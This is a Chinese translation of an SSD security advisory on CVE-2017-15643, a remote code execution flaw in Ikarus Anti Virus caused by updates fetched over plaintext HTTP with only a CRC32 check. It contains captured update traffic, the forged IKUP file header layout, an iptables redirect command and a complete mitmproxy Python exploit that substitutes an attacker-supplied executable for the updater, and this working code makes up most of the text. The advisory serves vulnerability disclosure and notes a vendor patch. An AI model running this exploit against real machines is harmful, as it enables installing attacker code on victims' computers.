SSD安全公告–Ikraus Anti Virus 远程代码执行漏洞

漏洞概要
以下安全公告描述了在Ikraus Anti Virus 2.16.7中发现的一个远程代码执行漏洞。
KARUS anti.virus“可以保护你的个人数据和PC免受各种恶意软件的入侵。此外,反垃圾邮件模块可以保护用户免受垃圾邮件和电子邮件中的恶意软件攻击。 选择获奖的IKARUS扫描引擎,可以有效保护自己免受网络犯罪分子的侵害。 IKARUS是世界上最好的扫描引擎,它每天都在检测未知和已知的威胁。
漏洞提交者
一位独立的安全研究人员向 Beyond Security 的 SSD 报告了该漏洞
厂商响应
更新一
CVE: CVE-2017-15643
厂商已经发布了这些漏洞的补丁。获取更多信息:
https://www.ikarussecurity.com/about-ikarus/security-blog/vulnerability-in-windows-antivirus-products-ik-sa-2017-0001/

漏洞详细信息
网络攻击者(中间人攻击)可以在运行Ikraus反病毒软件的计算机上实现远程代码执行。
Windows版的Ikarus AV使用明文HTTP和CRC32校验进行更新,以及用于验证下载文件的一个更新值。
另外,ikarus检查更新版本号,通过增加更新的版本号,以推动更新进程进行更新。
在ikarus中执行更新的可执行文件是guardxup.exe
guardxup.exe,通过端口80,发送更新请求如下:

```
GET /cgi-bin/virusutilities.pl?A=7534ED66&B=6.1.1.0.11.1.256.7601&C=1005047.2013019.2001016.98727&F=4.5.2%3bO=0%3bSP=0&E=WD-194390-VU HTTP/1.1
Accept: */*
User-Agent: virusutilities(6.1,0,1005047)
Host: updates.ikarus.at
Connection: close
```

服务器响应如下:

```
HTTP/1.1 200 OK
Date: Sun, 23 Oct 2016 04:51:05 GMT
Server: Apache/2.4.10 (Debian) mod_perl/2.0.9dev Perl/v5.20.2
Content-Disposition: inline; filename=virusutilities
Content-Length: 306
Connection: close
Content-Type: text/plain; charset=ISO-8859-1
<url>
	full	http://mirror04.ikarus.at/updates/
	diff	http://mirror06.ikarus.at/updates/
</url>
<up>
	antispam_w64	001000076
	antispam	001000076
	update	001005047
	virusutilities	002013019
	t3modul_w64	002001016
	t3modul	002001016
	sdb	000007074
	t3sigs	000098727
</up>
<dependence>
	t3modul
</dependence>
```

通过代理,我们可以修改响应,将“update”值加1,并将响应转发给客户端。
然后,客户端将通过此URL请求更新:http://mirror04.ikarus.at/updates/guardxup001005048.full
ikarus服务器将返回404:

```
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sun, 23 Oct 2016 04:53:05 GMT
Content-Type: text/html
Content-Length: 168
Connection: close
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.6.2</center>
</body>
</html>
```

但我们可以用IKUP格式修改上述响应:

Bytes: 0x0 - 0x3 == IKUP # header
Bytes: 0x4 - 0x7 == 0x0s
Bytes: 0x8 == 0x3C # pointer to start of PE EXE MZ header
Bytes: 0x20 - 0x23 == update value in little endian (script fixes it up)
Bytes: 0x24 - 0x27 == crc32 checksum (script populates from provided binary)
Bytes: 0x28 -> pointer to MZ header == 0x0s
Bytes: 'pointer to MZ header' -> ? == appended exe

然后,我们将修改过后的响应转发到客户端,在那里用我们的可执行文件替换guardxup.exe。
漏洞证明
安装mitmproxy 0.17 – pip install mitmproxy == 0.17
要使用这个脚本,在透明代理模式下,通过中间人80端口转发客户端的通信流量。
设置你的防火墙规则以拦截8080端口上的通信流量:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

然后执行如下脚本:
./poc.py file_to_deploy.exe

#!/usr/bin/env python2
import os
try:
    from mitmproxy import controller, proxy, platform
    from mitmproxy.proxy.server import ProxyServer
except:
    from libmproxy import controller, proxy, platform
    from libmproxy.proxy.server import ProxyServer
import re
import struct
import sys
import zlib
import bz2
class IkarusPOC(controller.Master):
    def __init__(self, server, backdoored_file):
        controller.Master.__init__(self, server)
        self.ikarus= {}
        self.crc_file = 0
        self.backdoored_file = backdoored_file
        self.to_replace = 0
        self.already_patched = 0
        self.update_number = 0
    def win_header(self):
        self.update_header = "\x49\x4B\x55\x50\x00\x00\x00\x00\x3C\x00\x00\x00\x00\x00\x00\x00"
        self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        self.update_header += struct.pack("<I", self.to_replace)        # update number
        self.update_header += struct.pack("<I", self.crc_file)          # checksum
        self.update_header += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        self.update_header += "\x00\x00\x00\x00"
    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()
    def crc_stream(self, a_string):
        prev = 0
        return zlib.crc32(a_string, prev) & 0xFFFFFFFF
    def crc(self, some_file):
        prev = 0
        for eachLine in open(some_file,"rb"):
            prev = zlib.crc32(eachLine, prev)
        self.crc_file = prev & 0xFFFFFFFF
        print "[*] crc_file", self.crc_file
    def handle_request(self, flow):
        hid = (flow.request.host, flow.request.port)
        flow.reply()
    def handle_response(self, flow):
        print "[*] flow.request.host:", flow.request.host
        if "cgi-bin/imsa-lite.pl" in flow.request.path and "Dalvik" in flow.request.headers['User-Agent'] and self.already_patched <=2:
            content = flow.reply.obj.response.content
            p = re.compile("antispam[\s|\t].*\n")
            result = p.search(content)
            the_result = result.group(0)
            original_update_number= [int(s) for s in the_result.split() if s.isdigit()][0]
            if self.update_number == 0:
                self.update_number = original_update_number
            self.to_replace = self.update_number + 1
            content = content.replace(str(original_update_number), str(self.to_replace))
            flow.reply.obj.response.content = content
        if "cgi-bin/virusutilities.pl" in flow.request.path and 'virusutilities' in flow.request.headers['User-Agent'] and self.already_patched <= 2:
	    print "[*] Found update response, modifying..."
            content = flow.reply.obj.response.content
            p = re.compile("update[\s|\t].*\n")
            result = p.search(content)
            the_result = result.group(0)
            original_update_number = [int(s) for s in the_result.split() if s.isdigit()][0]
            if self.update_number == 0:
                self.update_number = original_update_number
            self.to_replace = self.update_number + 1
            print '[*] Update_number', self.update_number
            print '[*] Replace number', self.to_replace
            content = content.replace(str(original_update_number), str(self.to_replace))
            print "[*] Updated content", content
            flow.reply.obj.response.content = content
        if 'guard' in flow.request.path and 'full' in flow.request.path and self.already_patched <= 2:
            print '[*] Found guardxup.exe request! Modifying request and pushing provided file!'
            self.crc(self.backdoored_file)
            self.win_header()
            with open(self.backdoored_file, 'rb') as f:
                file_out  = f.read()
            content = self.update_header + file_out
            with open('/tmp/update_test.full', 'wb') as f:
                f.write(content)
            flow.reply.obj.response.content = content
            flow.reply.obj.response.status_code = 200
            self.already_patched += 1
        flow.reply()
config = proxy.ProxyConfig(port=8080, mode='transparent')
server = ProxyServer(config)
m = IkarusPOC(server, sys.argv[1])
m.run()